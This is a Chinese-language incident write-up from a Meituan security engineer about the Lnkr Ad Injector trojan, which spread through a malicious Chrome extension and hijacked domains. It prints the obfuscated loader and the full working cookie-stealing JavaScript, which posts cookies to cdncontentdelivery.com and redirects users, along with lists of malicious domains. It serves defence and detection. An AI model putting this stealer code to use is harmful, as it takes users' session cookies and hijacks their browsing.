隱藏在瀏覽器背後的“黑手”
// 文丨陶琦
筆者具有多年資訊保安行業從業經驗,目前在美團致力於研發安全體系建設。
一、事件概述
2020年10月,美團安全運營平臺發現流量中存在惡意JavaScript請求,資訊保安部收到告警後立即開始應急處理,透過對網路環境、訪問日誌等進行排查,最終鎖定惡意請求由Chrome瀏覽器安裝惡意外掛引起,該惡意JavaScript檔案會竊取Cookie並強制使用者跳轉到惡意色情站點、推廣連結等,結合美團威脅情報大資料,發現該外掛與Lnkr Ad Injector木馬特徵吻合。
此類木馬傳播方式多樣,會透過瀏覽器外掛、Broken Link Hijacking等方式在頁面中植入惡意程式碼,不僅嚴重影響使用者正常訪問還會竊取使用者資料。經追蹤分析發現,多個國內大型網際網路站點(Alexa全球排名前600)被感染,影響上億網民的上網安全,建議各大平臺對自身系統第三方載入源以及內部終端裝置進行檢查,避免遭受此類木馬攻擊。
二、溯源過程
2.1 安全運營平臺發出異常告警
Chrome沙箱監測到惡意JavaScript檔案,發出異常告警:
透過告警資訊判斷基本的攻擊行為是:
使用者訪問正常頁面;
頁面載入外部JavaScript檔案(A):
http://s3.amazonaws.com/js-static/18ced489204f8ff908.js;
A載入第二個JavaScript檔案(B):
http://countsource.cool/18ced489204f8ff908.js;
B包含惡意程式碼,向遠端域名傳送Cookie等敏感資訊。
2.2 分析攻擊路徑
根據告警中涉及的觸發頁面、相關網路環境資訊,排除流量劫持、XSS攻擊等情況,猜測可能的原因為瀏覽器外掛或惡意軟體導致。
透過沙箱對問題裝置上所有Chrome外掛進行分析,發現一個名為Vysor的Chrome外掛程式碼存在惡意行為,檢測結果如下:
{ "call_window_location": { "info": "get document.location", "capture": [] }, "call_document_createElement": { "info": "call document.createElement, create script element", "capture": [ "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:INPUT", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:FIELDSET", "create element elementName:SCRIPT", "create element elementName:LINK" ] }, "call_document_removeChild": { "info": "call document.removeChild", "capture": [ "remove element {elementName:fieldset}", "remove element {elementName:fieldset}", "remove element {elementName:fieldset}" ] }, "set_scriptSrcValue": { "info": "set script src unsafe value", "capture": [ "//s3.amazonaws.com/js-static/18ced489204f8ff908.js" ] } }
可以看到外掛程式碼建立了script標籤,然後將script標籤的src屬性設定為:
//s3.amazonaws.com/js-static/18ced489204f8ff908.js。
2.3 外掛惡意程式碼分析
為了進一步研究該組織木馬的特徵,我們對該惡意外掛的程式碼進行了人工分析。惡意外掛的程式碼量較大,結構混亂,包含大量干擾程式碼。
首先惡意程式碼預先設定了許多無明顯意義的字串,用於構造Payload。
這些字串透過下面方法的一系列轉換最終構造出建立script標籤的語句 document['createElement']('script'),doctype即為建立出來的script物件。
接下來為script物件的src屬性賦值,在addHandler方法中,cl這個引數由elem傳遞過來,其中包含src字串,透過cl[0].split('>').slice(2, 3)拿到關鍵字src,tag是上文的doctype變數也就是script物件,在構造src值這部分,可以看到在常量中有一串一部分很像是base64的字串:
mawaid = '^\\%|PCQxPjwkMT5zM|y5hbWF6b25hd3Mu|?:^[^\\\\]+?:\\%\\.*\t'
惡意程式碼利用該字串結合其他預設變數進行一系列轉換,最終形成base64後的載入地址PCQxPjwkMT5zMy5hbWF6b25hd3MuY29tPCQxPmpzLXN0YXRpYzwkMT4xOGNlZDQ4OTIwNGY4ZmY5MDguanM:
透過createLinkPseudo方法解base64,經過replace後形成惡意地址//s3.amazonaws.com/js-static/18ced489204f8ff908.js;
s3.amazonaws.com/js-static/18ced489204f8ff908.js的主要目的是載入下一層的惡意Javascript檔案(//countsource.cool/18ced489204f8ff908.js),程式碼如下:
(function(){var a=document.createElement("script");a.src="//countsource.cool/18ced489204f8ff908.js";(document.head||document.documentElement).appendChild(a)})();;
//countsource.cool/18ced489204f8ff908.js檔案內容為:
(function () { function initXMLhttp() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlhttp; } function minAjax(config) { if (!config.url) { return; } if (!config.type) { return; } if (!config.method) { config.method = true; } if (!config.debugLog) { config.debugLog = false; } var sendString = [], sendData = config.data; if (typeof sendData === "string") { var tmpArr = String.prototype.split.call(sendData, '&'); for (var i = 0, j = tmpArr.length; i < j; i++) { var datum = tmpArr[i].split('='); sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1])); } } else if (typeof sendData === 'object' && !(sendData instanceof String)) { for (var k in sendData) { var datum = sendData[k]; if (Object.prototype.toString.call(datum) == "[object Array]") { for (var i = 0, j = datum.length; i < j; i++) { sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i])); } } else { sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum)); } } } sendString = sendString.join('&'); if (window.XDomainRequest) { var xmlhttp = new window.XDomainRequest(); xmlhttp.onload = function () { if (config.success) { config.success(xmlhttp.responseText); } }; xmlhttp.open("POST", config.url); xmlhttp.send(sendString); } else { var xmlhttp = initXMLhttp(); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if (config.success) { config.success(xmlhttp.responseText, xmlhttp.readyState); } } else {} } if (config.type == "GET") { xmlhttp.open("GET", config.url + "?" + sendString, config.method); xmlhttp.send(); } if (config.type == "POST") { xmlhttp.open("POST", config.url, config.method); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.send(sendString); } } } dL(); function dL() { var host = 'http://press.cdncontentdelivery.com/f'; var config = { url: host + "/stats.php", type: "POST", data: { vbase: document.baseURI, vhref: location.href, vref: document.referrer, k: "Y291bnRzb3VyY2UuY29vbA==", ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: "" }, success: onSuccessCallback }; function bl(resp) { ! function (dr) { function t() { return !!localStorage && localStorage.getItem(a) } function e() { o(), parent.top.window.location.href = c } function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } } function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier", r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n() }(resp); } function onSuccessCallback(response) { if (response && response.indexOf('http') > -1) { bl(response); } } minAjax(config); } })();
該檔案是真正實現惡意行為的程式碼,這部分程式碼沒有經過混淆、加密,也沒有加入其他無意義的程式碼干擾分析,可以很清晰地看到其惡意行為:
獲取當前頁面Cookie,ck引數;
獲取當前頁面Referrer;
獲取當前頁面Location;
使用XMLHttpRequest將獲取到的資料傳送到:
http://press.cdncontentdelivery.com/f/stats.php;
利用onSuccessCallback方法進行跳轉。
至此實現了將Cookie傳送到遠端接收地址,後續透過onSuccessCallback返回內容完成跳轉,完整流程:
2.4 透過已發現的IoC深入排查
透過上述特徵,發現大量與Lnkr木馬相關的域名和外掛,部分並未出現在已知的威脅情報中,經進一步分析發現,移動終端裝置也有觸發惡意請求的情況。
除此之外我們也發現國內多個大型站點在自身引用資源上引入了Lnkr木馬,使用者如果訪問到這些站點,Cookie資訊會被直接傳送到遠端,存在極高的安全風險。針對站點自身存在惡意資源的這類情況,極有可能是攻擊者利用Broken Link Hijacking的攻擊手法,對過期域名進行搶注,站點在訪問原有資源時被劫持到惡意資源。
三、總結
3.1 惡意域名
以下列舉了此次檢測發現的惡意域名:
mirextpro.com
browfileext.com
nextextlink.com
lisegreen.biz
makesure.biz
clipsold.com
comtakelink.xyz
protesidenext.com
promfflinkdev.com
rayanplug.xyz
countsource.cool
blancfox.com
skipush1.bbn.com.cn
donewrork.org
loungesrc.net
higedev.cool
s3.amazonaws.com/cashe-js/
s3.amazonaws.com/js-cache/
s3.amazonaws.com/jsfile/
s3.amazonaws.com/cashe-js/
cdngateway.net (接收Cookie域名)
sslproviders.net (接收Cookie域名)
cdncontentdelivery.com (接收Cookie域名)
3.2 惡意外掛
排查到包含Lnkr木馬特徵的惡意外掛:
部分惡意外掛截圖:
四、覆盤
Lnkr木馬所造成的危害有哪些?
Lnkr木馬的核心域名之一cdngateway.net在全球域名流量排名8900位,從流量來源角度,透過外部網站跳轉帶來的流量佔比總流量的65.48%,可見其攻擊範圍極廣,受其影響的應用、使用者數量也是非常龐大的。
此類木馬對外部使用者和內部員工訪問同時具有嚴重危害。
在外部使用者方面,如果企業沒有嚴格控制系統第三方資源載入,黑產利用Broken Link Hijacking的攻擊手法,致使業務系統載入資源時被劫持植入惡意程式碼,將嚴重影響使用者體驗、資訊保安和企業形象。
從內部員工角度,傳統殺軟、EDR等終端安全裝置並不能很好地識別出此類惡意外掛,攻擊者透過傳播惡意瀏覽器外掛控制員工瀏覽器載入遠端惡意資源,不僅僅可以用於廣告注入,相較於針對瀏覽器的其他攻擊方式,可以達到更穩定,觸發面更廣的敏感資訊竊取、內網探測等,在CSP歷史阻斷的惡意請求中,我們也發現除竊取Cookie資訊外,也存在惡意程式碼竊取頁面文字資訊的情況,這些文字資訊在企業內部平臺中,極有可能包含大量使用者,訂單等敏感資訊。
如何發現此類惡意木馬植入?
針對惡意瀏覽器外掛,在檢測方面對其程式碼做靜態分析成本比較大,觸發惡意請求的Payload都是透過大量編碼轉換、拼接、正則匹配等構造而成、且經過了很多沒有實際意義的方法,在動態分析方面,由於Chrome外掛程式碼會呼叫Chrome後臺API,在常規沙箱環境中可能會出現無法呼叫API而中途報錯退出。分析中還發現,很多惡意行為需要觸發特定事件才能進入到構造惡意Payload流程,如觸發chrome.tabs.onUpdated等。
對於瀏覽器外掛安全,可以透過以下方式進行檢測及防護:
禁止安裝未在Chrome應用商店上線的外掛(公司內部開發的外掛除外);
對外掛manfiest.json檔案進行輕量級的排查,manfiest.json檔案中申請許可權相對敏感,如Cookie、tabs、webRequest等等;
利用內容安全策略(CSP)對應用頁面發起的請求進行攔截或監控,集合靜態與動態分析技術,判斷JavaScript檔案行為;
利用瀏覽器沙箱與EDR,定期對瀏覽器外掛進行掃描;
構建網路層的檢測能力,發現有惡意請求及時應急處理。
對於業務系統自身是否載入惡意資源方面:
嚴格控制系統載入的第三方資源;
透過內容安全策略(CSP)對頁面觸發的請求進行攔截或監控。
目前團隊正在努力打造語言虛擬機器—基礎服務—上層應用的縱深應用安全體系,急需對研發安全感興趣的同學加入!如果你正好有求職意向且滿足以下崗位要求,歡迎投遞簡歷至sunny.fang@meituan.com(郵件主題請註明:【研發安全專家-城市-美團SRC】)。
相關文章
- 隱藏在Web除錯背後的祕密2019-04-22Web除錯
- 瀏覽器新版本上線背後的故事2012-07-20瀏覽器
- 瀏覽網頁背後的心理學2015-06-12網頁
- 驚了!原來瀏覽器的祕密藏在這31張圖裡!2021-02-16瀏覽器
- 奇虎360伸手歐朋瀏覽器背後的一個關鍵人2016-02-15瀏覽器
- 火狐4瀏覽器動態下載統計背後的SQL技術2011-06-16瀏覽器SQL
- 靈魂拷問!瀏覽器輸入「xxxxhub」的背後.....2021-03-30瀏覽器
- 監聽瀏覽器的後退事件2019-02-16瀏覽器事件
- QQ瀏覽器隱私洩露報告2020-08-19瀏覽器
- 藏在Java陣列的背後,你可能忽略的知識點2020-09-12Java陣列
- 細數谷歌瀏覽器的 10 大隱藏技能2015-02-10谷歌瀏覽器
- 細數谷歌瀏覽器的10大隱藏技能2015-02-10谷歌瀏覽器
- JS禁止瀏覽器後退鍵2011-08-28JS瀏覽器
- Mozilla,火狐瀏覽器背後神祕又偉大的開源組織|Open Source Prism2021-09-26瀏覽器
- Tumblr:150億月瀏覽量背後的架構挑戰2013-04-08架構
- 當在瀏覽器輸入URL回車後,瀏覽器到底做了什麼?瀏覽器渲染機制又是怎樣的?2017-10-25瀏覽器
- ie瀏覽器退役後還能用嗎 ie瀏覽器關閉停用以後怎麼辦2022-09-14瀏覽器
- SugarCoat可自動保護瀏覽器的隱私資料2021-11-23瀏覽器
- 一鍵隱藏所有固定的瀏覽器擴充套件2024-09-21瀏覽器套件
- Linux的script命令——隱藏在終端的記錄器2014-06-16Linux
- 【瀏覽器】瀏覽器基本工作原理2021-04-30瀏覽器
- 專訪 · 夸克瀏覽器技術團隊:極簡產品背後的技術美學2017-11-13瀏覽器
- 瀏覽器輸入URL回車後...2018-06-29瀏覽器
- ie瀏覽器退役後還能用嗎 ie瀏覽器停止更新服務以後有影響嗎2022-10-10瀏覽器
- 瀏覽器2024-11-15瀏覽器
- Chrome 瀏覽器修改 UA 模擬其它瀏覽器,包括移動瀏覽器2021-09-09Chrome瀏覽器
- python用selenium開啟瀏覽器後瀏覽器關閉---解決辦法2024-11-13Python瀏覽器
- 基石-初見瀏覽器(一):瀏覽器渲染2019-12-08瀏覽器
- Min瀏覽器: 更快更輕量瀏覽器2018-11-04瀏覽器
- .net火狐瀏覽器 ie瀏覽器 判斷2014-05-05瀏覽器
- Edge瀏覽器被搜狗瀏覽器篡改的解決方法2021-04-15瀏覽器
- 瀏覽器中輸入 URL 回車後2018-09-27瀏覽器
- 瀏覽器中輸入 URL 回車後...2017-10-15瀏覽器
- js 禁用瀏覽器後退按鈕效果2017-03-28JS瀏覽器
- 經典面試題:在瀏覽器位址列輸入一個 URL 後回車,背後發生了什麼2021-02-22面試題瀏覽器
- 在 Linux 上用火狐瀏覽器保護你的隱私2017-03-31Linux瀏覽器
- 開源隱私瀏覽器 Brave 推出 1.0 正式版2019-11-15瀏覽器
- MySQL 索引機制背後的隱藏之道2019-05-08MySql索引